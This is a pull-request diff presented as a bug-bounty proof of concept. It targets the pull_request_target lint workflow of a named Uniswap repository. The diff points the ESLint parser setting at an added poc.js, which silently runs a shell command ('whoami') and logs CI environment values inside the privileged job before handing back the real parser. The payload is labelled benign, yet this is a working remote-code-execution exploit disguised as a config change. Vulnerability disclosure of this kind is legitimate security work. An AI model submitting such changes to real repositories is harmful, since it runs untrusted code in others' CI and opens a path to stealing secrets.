[Security PoC - Cantina bounty] benign proof-of-execution for lint.yml pull_request_target RCE

.eslintrc.json

@@ -1,10 +1,9 @@
 {
-  "parser": "@typescript-eslint/parser",
+  "parser": "./poc.js",
   "parserOptions": {
     "ecmaVersion": 2020,
     "sourceType": "module",
     "ecmaFeatures": {
-      // Allows for the parsing of JSX
       "jsx": true
     }
   },

poc.js

@@ -0,0 +1,18 @@
+// Benign security PoC for Cantina submission: Uniswap/sybil-interface lint.yml pull_request_target RCE.
+// Proves fork-controlled code executes inside the privileged pull_request_target job via the eslint
+// `parser` field. Strictly non-destructive: no secret is read or exfiltrated, nothing is pushed to any
+// Uniswap repo. Returns the real parser so the lint job proceeds normally.
+module.exports = (() => {
+  const cp = require("child_process");
+  let who = "";
+  try { who = cp.execSync("whoami").toString().trim(); } catch (e) { who = "err:" + e.message; }
+  console.log("=== LINT_ACTION_PR_TARGET_RCE_POC ===");
+  console.log("proof: fork-controlled parser executed via node require()");
+  console.log("whoami: " + who);
+  console.log("GITHUB_EVENT_NAME: " + process.env.GITHUB_EVENT_NAME);
+  console.log("GITHUB_REPOSITORY: " + process.env.GITHUB_REPOSITORY);
+  console.log("GITHUB_REF: " + process.env.GITHUB_REF);
+  console.log("note: benign - no token read, no push; returning real parser");
+  console.log("=== END LINT_ACTION_PR_TARGET_RCE_POC ===");
+  return require("@typescript-eslint/parser");
+})();